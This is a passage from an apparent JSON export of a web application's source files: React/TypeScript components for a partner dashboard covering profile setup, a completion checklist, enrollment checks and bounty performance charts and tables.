text-neutral-400\",\n                      errors.companyName\n                        ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                        : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n                    )}\n                    {...register(\"companyName\", {\n                      required: profileType === \"company\",\n                    })}\n                  />\n                </div>\n              </label>\n            </motion.div>\n          )}\n        </AnimatePresence>\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/profile-discovery-guide.tsx",
    "content": "import {\n  Button,\n  ChevronUp,\n  CircleCheckFill,\n  CircleDotted,\n  ExpandingArrow,\n  ProgressCircle,\n} from \"@dub/ui\";\nimport { cn, isClickOnInteractiveChild } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { HTMLProps, useState } from \"react\";\nimport { usePartnerDiscoveryRequirements } from \"./use-partner-discovery-requirements\";\n\nexport function ProfileDiscoveryGuide() {\n  const [isExpanded, setIsExpanded] = useState(false);\n\n  const tasks = usePartnerDiscoveryRequirements();\n\n  if (!tasks) return null;\n\n  const completedTasks = tasks.filter(({ completed }) => completed);\n\n  return (\n    <motion.div\n      initial={{ opacity: 0, height: 0 }}\n      animate={{ opacity: 1, height: \"auto\" }}\n      transition={{ duration: 0.2, ease: \"easeOut\" }}\n      className=\"overflow-hidden\"\n    >\n      <div\n        className=\"text-content-inverted rounded-2xl bg-neutral-900 p-2\"\n        onClick={(e) => {\n          if (isClickOnInteractiveChild(e)) return;\n          setIsExpanded((e) => !e);\n        }}\n      >\n        <div className=\"flex select-none flex-col px-3 pb-4 pt-1\">\n          <div className=\"flex justify-between\">\n            <div className=\"bg-bg-default/10 mb-4 flex w-fit items-center gap-1.5 rounded-md px-2 py-1\">\n              <ProgressCircle\n                progress={completedTasks.length / tasks.length}\n                className=\"text-green-500 [--track-color:#fff3]\"\n              />\n              <span className=\"text-xs font-medium\">\n                {completedTasks.length} of {tasks.length} tasks completed\n              </span>\n            </div>\n            <Button\n              type=\"button\"\n              onClick={() => setIsExpanded((e) => !e)}\n              variant=\"outline\"\n              className=\"hover:bg-bg-default/10 size-9 p-0\"\n              icon={\n                <ChevronUp\n                  className={cn(\n                    \"text-content-inverted size-4 transition-transform duration-100\",\n                    !isExpanded && \"-scale-y-100\",\n                  )}\n                />\n              }\n            />\n          </div>\n          <div>\n            <h2 className=\"text-lg font-semibold\">Complete your profile</h2>\n            <p className=\"text-content-inverted/60 text-base\">\n              Finish these steps to improve your application approval rates and\n              receive more invitations from programs in our network.\n            </p>\n          </div>\n        </div>\n\n        <motion.div\n          initial={false}\n          animate={{\n            height: isExpanded ? \"auto\" : 0,\n            opacity: isExpanded ? 1 : 0,\n          }}\n          transition={{ duration: 0.15, ease: \"easeOut\" }}\n          className=\"overflow-hidden\"\n        >\n          <div\n            className=\"grid grid-cols-1 rounded-lg bg-neutral-800 p-2 sm:grid-cols-2\"\n            onClick={(e) => e.stopPropagation()}\n          >\n            {tasks.map(({ label, completed, href }) => (\n              <ConditionalLink\n                key={label}\n                href={completed ? undefined : href}\n                className={cn(\n                  \"group flex items-center justify-between gap-2 rounded-md px-3 py-2\",\n                  !completed &&\n                    href &&\n                    \"transition-colors duration-100 ease-out hover:bg-neutral-700\",\n                )}\n              >\n                <div className=\"flex min-w-0 items-center gap-2\">\n                  {completed ? (\n                    <CircleCheckFill className=\"size-4 shrink-0 text-green-500\" />\n                  ) : (\n                    <CircleDotted className=\"size-4 shrink-0 text-neutral-400\" />\n                  )}\n                  <span className=\"min-w-0 truncate text-sm\">{label}</span>\n                </div>\n                {!completed && href && (\n                  <div className=\"shrink-0 pr-4\">\n                    <ExpandingArrow className=\"group-hover:text-content-inverted text-neutral-500\" />\n                  </div>\n                )}\n              </ConditionalLink>\n            ))}\n          </div>\n        </motion.div>\n      </div>\n    </motion.div>\n  );\n}\n\nfunction ConditionalLink({\n  href,\n  className,\n  children,\n  ...rest\n}: Partial<HTMLProps<HTMLAnchorElement>>) {\n  return href ? (\n    <Link href={href} className={className} {...rest}>\n      {children}\n    </Link>\n  ) : (\n    <div className={className}>{children}</div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/settings-row.tsx",
    "content": "import { PropsWithChildren } from \"react\";\n\nexport function SettingsRow({\n  heading,\n  description,\n  id,\n  children,\n}: PropsWithChildren<{\n  heading: string;\n  description: string;\n  id?: string;\n}>) {\n  return (\n    <div\n      id={id}\n      className=\"@2xl/page:grid-cols-2 grid scroll-mt-12 grid-cols-1 gap-10 px-6 py-8 lg:gap-16\"\n    >\n      <div className=\"flex flex-col gap-1\">\n        <h3 className=\"text-content-emphasis text-base font-semibold leading-none\">\n          {heading}\n        </h3>\n        <p className=\"text-content-subtle text-sm\">{description}</p>\n      </div>\n\n      <div>{children}</div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/profile/use-partner-discovery-requirements.ts",
    "content": "import { getPartnerProfileChecklistProgress } from \"@/lib/network/get-partner-profile-checklist-progress\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport useProgramEnrollments from \"@/lib/swr/use-program-enrollments\";\nimport { useMemo } from \"react\";\n\nexport function usePartnerDiscoveryRequirements() {\n  const { partner } = usePartnerProfile();\n  const { programEnrollments } = useProgramEnrollments();\n\n  return useMemo(() => {\n    if (!partner || !programEnrollments) return undefined;\n\n    const checklistProgress = getPartnerProfileChecklistProgress({\n      partner,\n    });\n\n    return checklistProgress.tasks;\n  }, [partner, programEnrollments]);\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/analytics/page.tsx",
    "content": "import Analytics from \"@/ui/analytics\";\nimport { PageContent } from \"@/ui/layout/page-content\";\n\nexport default function PartnerAnalytics() {\n  return (\n    <PageContent title=\"Analytics\">\n      <Analytics />\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/auth.tsx",
    "content": "\"use client\";\n\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { redirect, useParams } from \"next/navigation\";\nimport { UnapprovedProgramPage } from \"./unapproved-program-page\";\n\nexport function ProgramEnrollmentAuth({\n  children,\n}: {\n  children: React.ReactNode;\n}) {\n  const { programSlug } = useParams();\n  const { programEnrollment, error, loading } = useProgramEnrollment();\n\n  if (loading) {\n    return <LayoutLoader />;\n  }\n\n  if (error && error.status === 404) {\n    redirect(`/programs/${programSlug}/apply`);\n  }\n\n  if (programEnrollment && programEnrollment.status === \"invited\") {\n    redirect(`/programs/${programSlug}/invite`);\n  }\n\n  if (\n    programEnrollment &&\n    ![\"approved\", \"deactivated\", \"archived\"].includes(programEnrollment.status)\n  ) {\n    return <UnapprovedProgramPage programEnrollment={programEnrollment} />;\n  }\n\n  return children;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/bounties/[bountyId]/bounty-performance-section.tsx",
    "content": "\"use client\";\n\nimport { formatDateTooltip } from \"@/lib/analytics/format-date-tooltip\";\nimport { PartnerAnalyticsFilters } from \"@/lib/analytics/types\";\nimport { isCurrencyAttribute } from \"@/lib/api/workflows/utils\";\nimport { PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES } from \"@/lib/bounty/api/performance-bounty-scope-attributes\";\nimport usePartnerAnalytics from \"@/lib/swr/use-partner-analytics\";\nimport { usePartnerEarningsTimeseries } from \"@/lib/swr/use-partner-earnings-timeseries\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport {\n  LeadEvent,\n  PartnerBountyProps,\n  PartnerEarningsResponse,\n  SaleEvent,\n} from \"@/lib/types\";\nimport { CustomerRowItem } from \"@/ui/customers/customer-row-item\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport {\n  buttonVariants,\n  CopyText,\n  LinkLogo,\n  LoadingSpinner,\n  Table,\n  TimestampTooltip,\n  useTable,\n  useTablePagination,\n} from \"@dub/ui\";\nimport { Areas, TimeSeriesChart, XAxis } from \"@dub/ui/charts\";\nimport { CircleDollar, UserPlus } from \"@dub/ui/icons\";\nimport {\n  cn,\n  currencyFormatter,\n  fetcher,\n  formatDateTimeSmart,\n  getApexDomain,\n  getPrettyUrl,\n  nFormatter,\n} from \"@dub/utils\";\nimport { ColumnDef } from \"@tanstack/react-table\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { useMemo, useState } from \"react\";\nimport useSWR from \"swr\";\n\ntype PerformanceAttribute = keyof typeof PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES;\n\ninterface PerformanceRow {\n  id: string;\n  date: string | Date;\n  customer: {\n    id: string;\n    email?: string | null;\n    name?: string | null;\n    avatar?: string | null;\n  } | null;\n  link: {\n    id: string;\n    shortLink: string;\n    url: string;\n  } | null;\n  amount?: number;\n}\n\nconst ATTRIBUTE_TO_ANALYTICS_FIELD: Partial<\n  Record<PerformanceAttribute, \"leads\" | \"sales\" | \"saleAmount\">\n> = {\n  totalLeads: \"leads\",\n  totalConversions: \"leads\",\n  totalSaleAmount: \"sales\",\n};\n\nconst ATTRIBUTE_TO_CHART_FIELD: Partial<\n  Record<PerformanceAttribute, \"leads\" | \"sales\" | \"saleAmount\">\n> = {\n  totalLeads: \"leads\",\n  totalConversions: \"leads\",\n  totalSaleAmount: \"saleAmount\",\n};\n\nconst ATTRIBUTE_TO_EVENT_PARAMS: Partial<\n  Record<\n    PerformanceAttribute,\n    { event: \"leads\" | \"sales\"; saleType?: \"new\" | \"recurring\" }\n  >\n> = {\n  totalLeads: { event: \"leads\" },\n  totalConversions: { event: \"leads\", saleType: \"new\" },\n  totalSaleAmount: { event: \"sales\" },\n};\n\nconst ATTRIBUTE_TO_TABLE_TITLE: Record<PerformanceAttribute, string> = {\n  totalLeads: \"Leads generated\",\n  totalConversions: \"Conversions\",\n  totalSaleAmount: \"Revenue generated\",\n  totalCommissions: \"Commissions earned\",\n};\n\nexport function BountyPerformanceSection({\n  bounty,\n}: {\n  bounty: PartnerBountyProps;\n}) {\n  return (\n    <div className=\"flex flex-col gap-6\">\n      <div className=\"flex flex-col gap-3\">\n        <h2 className=\"text-content-emphasis text-lg font-semibold leading-7 tracking-[-0.36px]\">\n          Performance\n        </h2>\n        <div className=\"border-border-subtle rounded-xl border bg-white p-5\">\n          <BountyPerformanceChart bounty={bounty} />\n        </div>\n      </div>\n      <BountyPerformanceTable bounty={bounty} />\n    </div>\n  );\n}\n\nfunction BountyPerformanceChart({ bounty }: { bounty: PartnerBountyProps }) {\n  const { programEnrollment } = useProgramEnrollment();\n  const attribute = bounty.performanceCondition?.attribute as\n    | PerformanceAttribute\n    | undefined;\n  const isCurrency = attribute ? isCurrencyAttribute(attribute) : false;\n  const isCommissions = attribute === \"totalCommissions\";\n\n  const startDate = useMemo(\n    () =>\n      bounty.performanceScope === \"new\"\n        ? new Date(bounty.startsAt)\n        : new Date(programEnrollment?.createdAt ?? bounty.startsAt),\n    [bounty.performanceScope, bounty.startsAt, programEnrollment?.createdAt],\n  );\n  const endDate = useMemo(\n    () => (bounty.endsAt ? new Date(bounty.endsAt) : new Date()),\n    [bounty.endsAt],\n  );\n\n  const eventParams = attribute\n    ? ATTRIBUTE_TO_EVENT_PARAMS[attribute]\n    : undefined;\n\n  const analyticsParams = useMemo(\n    () => ({\n      groupBy: \"timeseries\" as const,\n      event: \"composite\" as const,\n      ...(startDate && endDate && { start: startDate, end: endDate }),\n      ...(eventParams?.saleType && { saleType: eventParams.saleType }),\n    }),\n    [startDate, endDate, eventParams?.saleType],\n  );\n\n  const { data: analyticsTimeseries, error: analyticsError } =\n    usePartnerAnalytics({\n      ...analyticsParams,\n      enabled: !isCommissions,\n    });\n\n  const { data: earningsTimeseries, error: earningsError } =\n    usePartnerEarningsTimeseries({\n      interval: \"30d\",\n      ...(startDate && endDate && { start: startDate, end: endDate }),\n      enabled: isCommissions,\n    });\n\n  const data = useMemo(() => {\n    if (isCommissions) {\n      if (!earningsTimeseries) {\n        return undefined;\n      }\n\n      if (!Array.isArray(earningsTimeseries)) {\n        return [];\n      }\n\n      return earningsTimeseries.map(\n        ({ start, earnings }: { start: string; earnings: number }) => ({\n          date: new Date(start),\n          values: { main: earnings },\n        }),\n      );\n    }\n\n    if (!attribute) {\n      return [];\n    }\n\n    if (!analyticsTimeseries) {\n      return undefined;\n    }\n\n    const field = ATTRIBUTE_TO_CHART_FIELD[attribute];\n    if (!field || !Array.isArray(analyticsTimeseries)) {\n      return [];\n    }\n\n    return analyticsTimeseries.map((d: Record<string, any>) => ({\n      date: new Date(d.start),\n      values: { main: d[field] ?? 0 },\n    }));\n  }, [isCommissions, earningsTimeseries, analyticsTimeseries, attribute]);\n\n  const error = isCommissions ? earningsError : analyticsError;\n\n  const chartData = useMemo(() => {\n    if (data === undefined) return undefined;\n    if (data.length > 0) return data;\n\n    const now = new Date();\n    return Array.from({ length: 30 }, (_, i) => ({\n      date: new Date(now.getTime() - (29 - i) * 24 * 60 * 60 * 1000),\n      values: { main: 0 },\n    }));\n  }, [data]);\n\n  return (\n    <div className=\"h-44 w-full\">\n      {chartData ? (\n        <TimeSeriesChart\n          data={chartData}\n          series={[\n            {\n              id: \"main\",\n              valueAccessor: (d) => d.values.main,\n              colorClassName: \"text-violet-500\",\n              isActive: true,\n            },\n          ]}\n          tooltipContent={(d) => (\n            <div className=\"flex justify-between gap-6 whitespace-nowrap p-2 text-xs leading-none\">\n              <span className=\"font-medium text-neutral-700\">\n                {formatDateTooltip(d.date, {})}\n              </span>\n              <p className=\"text-right text-neutral-500\">\n                {isCurrency\n                  ? currencyFormatter(d.values.main)\n                  : nFormatter(d.values.main)}\n              </p>\n            </div>\n          )}\n        >\n          <XAxis showAxisLine={false} />\n          <Areas />\n        </TimeSeriesChart>\n      ) : (\n        <div className=\"flex size-full items-center justify-center\">\n          {error ? (\n            <span className=\"text-sm text-neutral-500\">\n              Failed to load data.\n            </span>\n          ) : (\n            <LoadingSpinner />\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n\nconst PAGE_SIZE = 10;\n\nfunction PerformanceTableShell({\n  title,\n  viewAllHref,\n  children,\n}: {\n  title: string;\n  viewAllHref: string;\n  children: React.ReactNode;\n}) {\n  return (\n    <div className=\"flex flex-col gap-3\">\n      <div className=\"flex items-center justify-between\">\n        <h2 className=\"text-content-emphasis text-lg font-semibold leading-7 tracking-[-0.36px]\">\n          {title}\n        </h2>\n        <Link\n          href={viewAllHref}\n          className={cn(\n            buttonVariants({ variant: \"secondary\" }),\n            \"flex h-7 items-center rounded-lg border px-2 text-sm\",\n          )}\n        >\n          View all\n        </Link>\n      </div>\n      {children}\n    </div>\n  );\n}\n\nfunction BountyPerformanceTable({ bounty }: { bounty: PartnerBountyProps }) {\n  const attribute = bounty.performanceCondition?.attribute as\n    | PerformanceAttribute\n    | undefined;\n\n  if (attribute === \"totalCommissions\") {\n    return <BountyPerformanceCommissionsTable bounty={bounty} />;\n  }\n\n  return <BountyPerformanceEventsTable bounty={bounty} />;\n}\n\nfunction BountyPerformanceEventsTable({\n  bounty,\n}: {\n  bounty: PartnerBountyProps;\n}) {\n  const [page, setPage] = useState(1);\n  const { programEnrollment } = useProgramEnrollment();\n  const { programSlug } = useParams<{ programSlug: string }>();\n\n  const { pagination, setPagination } = useTablePagination({\n    pageSize: PAGE_SIZE,\n    page,\n    onPageChange: setPage,\n  });\n\n  const attribute = bounty.performanceCondition\n    ?.attribute as PerformanceAttribute;\n\n  const isCurrency = attribute ? isCurrencyAttribute(attribute) : false;\n  const metricLabel = attribute\n    ? PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES[attribute].toLowerCase()\n    : \"entries\";\n  const tableTitle = attribute\n    ? ATTRIBUTE_TO_TABLE_TITLE[attribute]\n    : \"Performance\";\n  const EmptyIcon =\n    attribute === \"totalLeads\" || attribute === \"totalConversions\"\n      ? UserPlus\n      : CircleDollar;\n\n  const { eventsParams, eventCountParams } = useMemo<{\n    eventsParams: PartnerAnalyticsFilters | null;\n    eventCountParams: PartnerAnalyticsFilters | null;\n  }>(() => {\n    const eventParams = attribute\n      ? ATTRIBUTE_TO_EVENT_PARAMS[attribute]\n      : undefined;\n\n    if (!programSlug || !eventParams) {\n      return {\n        eventsParams: null,\n        eventCountParams: null,\n      };\n    }\n\n    const startDate =\n      bounty.performanceScope === \"new\"\n        ? new Date(bounty.startsAt)\n        : new Date(programEnrollment?.createdAt ?? bounty.startsAt);\n\n    const endDate = bounty.endsAt ? new Date(bounty.endsAt) : new Date();\n\n    const baseParams: PartnerAnalyticsFilters = {\n      ...(startDate && { start: startDate }),\n      ...(endDate && { end: endDate }),\n      ...(eventParams.saleType && { saleType: eventParams.saleType }),\n    };\n\n    return {\n      eventsParams: {\n        ...baseParams,\n        event: eventParams.event,\n        limit: String(PAGE_SIZE),\n        page: String(page),\n      },\n\n      eventCountParams: {\n        ...baseParams,\n        event: \"composite\",\n        enabled: true,\n      },\n    };\n  }, [programSlug, page, bounty, attribute, programEnrollment]);\n\n  const eventsUrl = useMemo(() => {\n    if (!programSlug || !eventsParams) return null;\n\n    const params: Record<string, string> = {\n      ...Object.fromEntries(\n        Object.entries(eventsParams).map(([key, value]) => [\n          key,\n          value instanceof Date ? value.toISOString() : String(value),\n        ]),\n      ),\n    };\n\n    const query = new URLSearchParams(params).toString();\n\n    return `/api/partner-profile/programs/${programSlug}/events?${query}`;\n  }, [programSlug, eventsParams]);\n\n  const {\n    data: events,\n    isValidating: isLoading,\n    error,\n  } = useSWR<(LeadEvent | SaleEvent)[]>(eventsUrl, fetcher, {\n    keepPreviousData: true,\n  });\n\n  const { data: analyticsCount } = usePartnerAnalytics({\n    ...eventCountParams,\n  });\n\n  const rows = useMemo<PerformanceRow[]>(() => {\n    if (!events) {\n      return [];\n    }\n\n    return events.map((event) => ({\n      id: event.eventId,\n      date: event.timestamp,\n      customer: event.customer ?? null,\n      link: event.link ?? null,\n      ...(attribute === \"totalSaleAmount\" && {\n        amount:\n          (\"sale\" in event ? event.sale?.amount : undefined) ??\n          (\"saleAmount\" in event ? event.saleAmount : 0),\n      }),\n    }));\n  }, [events, attribute]);\n\n  const analyticsField = attribute\n    ? ATTRIBUTE_TO_ANALYTICS_FIELD[attribute]\n    : undefined;\n\n  const eventsCount =\n    analyticsField && analyticsCount ? analyticsCount[analyticsField] : 0;\n\n  const columns = useMemo<ColumnDef<PerformanceRow, any>[]>(() => {\n    const base: ColumnDef<PerformanceRow, any>[] = [\n      {\n        id: \"date\",\n        header: \"Date\",\n        accessorKey: \"date\",\n        minSize: 140,\n        cell: ({ row }) => (\n          <TimestampTooltip\n            timestamp={row.original.date}\n            side=\"right\"\n            rows={[\"local\"]}\n          >\n            <span>{formatDateTimeSmart(row.original.date)}</span>\n          </TimestampTooltip>\n        ),\n      },\n      {\n        id: \"customer\",\n        header: \"Customer\",\n        minSize: 220,\n        cell: ({ row }) =>\n          row.original.customer ? (\n            <CustomerRowItem\n              customer={row.original.customer}\n              className=\"px-4 py-2.5\"\n            />\n          ) : (\n            <p className=\"px-4 py-2.5\">-</p>\n          ),\n      },\n      {\n        id: \"link\",\n        header: \"Link\",\n        accessorKey: \"link\",\n        size: 200,\n        cell: ({ row }) =>\n          row.original.link ? (\n            <div className=\"flex items-center gap-3\">\n              <LinkLogo\n                apexDomain={getApexDomain(row.original.link.url)}\n                className=\"size-4 shrink-0 sm:size-4\"\n              />\n              <CopyText\n                value={row.original.link.shortLink}\n                successMessage=\"Copied link to clipboard!\"\n                className=\"truncate\"\n              >\n                <span className=\"truncate\" title={row.original.link.shortLink}>\n                  {getPrettyUrl(row.original.link.shortLink)}\n                </span>\n              </CopyText>\n            </div>\n          ) : (\n            \"-\"\n          ),\n      },\n    ];\n\n    if (isCurrency) {\n      base.push({\n        id: \"amount\",\n        header: \"Amount\",\n        accessorKey: \"amount\",\n        cell: ({ row }) => currencyFormatter(row.original.amount ?? 0),\n      });\n    }\n\n    return base;\n  }, [isCurrency]);\n\n  const { table, ...tableProps } = useTable({\n    data: rows,\n    loading: isLoading,\n    error: error ? \"Failed to fetch data.\" : undefined,\n    columns,\n    pagination,\n    onPaginationChange: setPagination,\n    rowCount: eventsCount,\n    thClassName: \"border-l-transparent\",\n    tdClassName: (columnId: string) =>\n      cn(\"border-l-transparent\", columnId === \"customer\" && \"p-0\"),\n    resourceName: () => metricLabel,\n    emptyState: (\n      <AnimatedEmptyState\n        title={`No ${metricLabel} recorded yet`}\n        description={`${tableTitle} will appear here once you start generating activity.`}\n        cardContent={() => (\n          <>\n            <EmptyIcon className=\"size-4 text-neutral-700\" />\n            <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n          </>\n        )}\n        className=\"border-none md:min-h-0\"\n      />\n    ),\n  });\n\n  return (\n    <PerformanceTableShell\n      title={tableTitle}\n      viewAllHref={`/programs/${programSlug}/events`}\n    >\n      <Table\n        {...tableProps}\n        table={table}\n        containerClassName=\"border-neutral-200\"\n        scrollWrapperClassName=\"min-h-[315px]\"\n      />\n    </PerformanceTableShell>\n  );\n}\n\nfunction BountyPerformanceCommissionsTable({\n  bounty,\n}: {\n  bounty: PartnerBountyProps;\n}) {\n  const [page, setPage] = useState(1);\n  const { programEnrollment } = useProgramEnrollment();\n  const { programSlug } = useParams<{ programSlug: string }>();\n\n  const { pagination, setPagination } = useTablePagination({\n    pageSize: PAGE_SIZE,\n    page,\n    onPageChange: setPage,\n  });\n\n  const dateRangeStable =\n    bounty.performanceScope === \"new\" || programEnrollment != null;\n\n  const { earningsParams, countParams } = useMemo<{\n    earningsParams: Record<string, string> | null;\n    countParams: Record<string, string> | null;\n  }>(() => {\n    if (!programSlug || !dateRangeStable) {\n      return {\n        earningsParams: null,\n        countParams: null,\n      };\n    }\n\n    const startDate =\n      bounty.performanceScope === \"new\"\n        ? new Date(bounty.startsAt)\n        : new Date(programEnrollment?.createdAt ?? bounty.startsAt);\n\n    const endDate = bounty.endsAt ? new Date(bounty.endsAt) : new Date();\n\n    const baseParams: Record<string, string> = {\n      ...(startDate && { start: startDate.toISOString() }),\n      ...(endDate && { end: endDate.toISOString() }),\n    };\n\n    return {\n      earningsParams: {\n        ...baseParams,\n        pageSize: String(PAGE_SIZE),\n        page: String(page),\n      },\n\n      countParams: {\n        ...baseParams,\n      },\n    };\n  }, [\n    programSlug,\n    dateRangeStable,\n    page,\n    bounty.performanceScope,\n    bounty.startsAt,\n    bounty.endsAt,\n    programEnrollment?.createdAt,\n  ]);\n\n  const earningsUrl = useMemo(() => {\n    if (!programSlug || !earningsParams) return null;\n    return `/api/partner-profile/programs/${programSlug}/earnings?${new URLSearchParams(earningsParams).toString()}`;\n  }, [programSlug, earningsParams]);\n\n  const countUrl = useMemo(() => {\n    if (!programSlug || !countParams) return null;\n    return `/api/partner-profile/programs/${programSlug}/earnings/count?${new URLSearchParams(countParams).toString()}`;\n  }, [programSlug, countParams]);\n\n  const {\n    data: earnings,\n    isLoading,\n    error,\n  } = useSWR<PartnerEarningsResponse[]>(earningsUrl, fetcher, {\n    keepPreviousData: true,\n  });\n\n  const { data: earningsCount, isLoading: isLoadingCount } = useSWR<{\n    count: number;\n  }>(countUrl, fetcher, {\n    keepPreviousData: true,\n  });\n\n  const rows = useMemo<PerformanceRow[]>(\n    () =>\n      earnings?.map((earning) => ({\n        id: earning.id,\n        date: earning.createdAt,\n        customer: earning.customer,\n        link: earning.link ?? null,\n        amount: earning.earnings,\n      })) ?? [],\n    [earnings],\n  );\n\n  const columns = useMemo<ColumnDef<PerformanceRow, any>[]>(\n    () => [\n      {\n        id: \"date\",\n        header: \"Date\",\n        accessorKey: \"date\",\n        minSize: 140,\n        cell: ({ row }) => (\n          <TimestampTooltip\n            timestamp={row.original.date}\n            side=\"right\"\n            rows={[\"local\"]}\n          >\n            <span>{formatDateTimeSmart(row.original.date)}</span>\n          </TimestampTooltip>\n        ),\n      },\n      {\n        id: \"customer\",\n        header: \"Customer\",\n        minSize: 220,\n        cell: ({ row }) =>\n          row.original.customer ? (\n            <CustomerRowItem\n              customer={row.original.customer}\n              className=\"px-4 py-2.5\"\n            />\n          ) : (\n            <p className=\"px-4 py-2.5\">-</p>\n          ),\n      },\n      {\n        id: \"link\",\n        header: \"Link\",\n        accessorKey: \"link\",\n        size: 200,\n        cell: ({ row }) =>\n          row.original.link ? (\n            <div className=\"flex items-center gap-3\">\n              <LinkLogo\n                apexDomain={getApexDomain(row.original.link.url)}\n                className=\"size-4 shrink-0 sm:size-4\"\n              />\n              <CopyText\n                value={row.original.link.shortLink}\n                successMessage=\"Copied link to clipboard!\"\n                className=\"truncate\"\n              >\n                <span className=\"truncate\" title={row.original.link.shortLink}>\n                  {getPrettyUrl(row.original.link.shortLink)}\n                </span>\n              </CopyText>\n            </div>\n          ) : (\n            \"-\"\n          ),\n      },\n      {\n        id: \"earnings\",\n        header: \"Earnings\",\n        accessorKey: \"amount\",\n        cell: ({ row }) => currencyFormatter(row.original.amount ?? 0),\n      },\n    ],\n    [],\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: rows,\n    loading: isLoading || isLoadingCount,\n    error: error ? \"Failed to fetch data.\" : undefined,\n    columns,\n    pagination,\n    onPaginationChange: setPagination,\n    rowCount: earningsCount?.count || 0,\n    thClassName: \"border-l-transparent\",\n    tdClassName: (columnId: string) =>\n      cn(\"border-l-transparent\", columnId === \"customer\" && \"p-0\"),\n    resourceName: () => \"commissions\",\n    emptyState: (\n      <AnimatedEmptyState\n        title=\"No commissions recorded yet\"\n        description=\"Commissions earned will appear here once you start generating activity.\"\n        cardContent={() => (\n          <>\n            <CircleDollar className=\"size-4 text-neutral-700\" />\n            <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n          </>\n        )}\n        className=\"border-none md:min-h-0\"\n      />\n    ),\n  });\n\n  return (\n    <PerformanceTableShell\n      title=\"Commissions earned\"\n      viewAllHref={`/programs/${programSlug}/earnings`}\n    >\n      <Table\n        {...tableProps}\n        table={table}\n        containerClassName=\"border-neutral-200\"\n        scrollWrapperClassName=\"min-h-[315px]\"\n      />\n    </PerformanceTableShell>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/bounties/[bountyId]/bounty-submissions-table.tsx",
    "content": "\"use client\";\n\nimport {\n  type SubmissionPeriod,\n  getSubmissionPeriods,\n} from \"@/lib/bounty/periods\";\nimport { BOUNTY_SUBMISSION_STATUS_BADGES } from \"@/lib/bounty/submission-status\";\nimport { PartnerBountyProps } from \"@/lib/types\";\nimport { useBountySubmissionDetailsSheet } from \"@/ui/partners/bounties/bounty-submission-details-sheet\";\nimport { useClaimBountySheet } from \"@/ui/partners/bounties/claim-bounty-sheet\";\nimport { Button, StatusBadge, Table, useTable } from \"@dub/ui\";\nimport { cn, formatDate } from \"@dub/utils\";\nimport { ColumnDef } from \"@tanstack/react-table\";\nimport { useMemo } from \"react\";\n\ntype PartnerBountySubmission = PartnerBountyProps[\"submissions\"][number];\n\nexport function BountySubmissionsTable({\n  bounty,\n}: {\n  bounty: PartnerBountyProps;\n}) {\n  const {\n    claimBountySheet,\n    setShowClaimBountySheet,\n    setActivePeriodNumber: setClaimPeriodNumber,\n  } = useClaimBountySheet({ bounty });\n\n  const {\n    bountySubmissionDetailsSheet,\n    setShowBountySubmissionDetailsSheet,\n    setActivePeriodNumber: setViewPeriodNumber,\n  } = useBountySubmissionDetailsSheet({ bounty });\n\n  const periods = getSubmissionPeriods({\n    startsAt: bounty.startsAt,\n    endsAt: bounty.endsAt,\n    submissionFrequency: bounty.submissionFrequency,\n    maxSubmissions: bounty.maxSubmissions,\n    submissions: bounty.submissions ?? [],\n  });\n\n  const showSubmissionColumn = bounty.maxSubmissions > 1;\n\n  const columns = useMemo<\n    ColumnDef<SubmissionPeriod<PartnerBountySubmission>>[]\n  >(\n    () => [\n      ...(showSubmissionColumn\n        ? [\n            {\n              id: \"submission\",\n              header: \"Submission\",\n              minSize: 200,\n              cell: ({\n                row: { original },\n              }: {\n                row: { original: SubmissionPeriod<PartnerBountySubmission> };\n              }) => {\n                const config = BOUNTY_SUBMISSION_STATUS_BADGES[original.status];\n                const label =\n                  original.status === \"submitted\"\n                    ? \"Pending review\"\n                    : config?.label;\n\n                return (\n                  <div className=\"flex items-center gap-3\">\n                    <span className=\"min-w-[52px] text-sm font-medium leading-5 tracking-[-0.28px] text-neutral-600\">\n                      {original.label}\n                    </span>\n                    {config && (\n                      <span className=\"sm:hidden\">\n                        <StatusBadge\n                          variant={config.variant}\n                          icon={config.icon}\n                        >\n                          {label}\n                        </StatusBadge>\n                      </span>\n                    )}\n                  </div>\n                );\n              },\n            } satisfies ColumnDef<SubmissionPeriod<PartnerBountySubmission>>,\n          ]\n        : []),\n      {\n        id: \"status\",\n        header: \"Status\",\n        minSize: 120,\n        size: 160,\n        cell: ({ row: { original } }) => {\n          const config = BOUNTY_SUBMISSION_STATUS_BADGES[original.status];\n          if (!config) return null;\n          const label =\n            original.status === \"submitted\" ? \"Pending review\" : config.label;\n          return (\n            <StatusBadge variant={config.variant} icon={config.icon}>\n              {label}\n            </StatusBadge>\n          );\n        },\n      },\n      {\n        id: \"submitted\",\n        header: \"Submitted\",\n        minSize: 100,\n        size: 120,\n        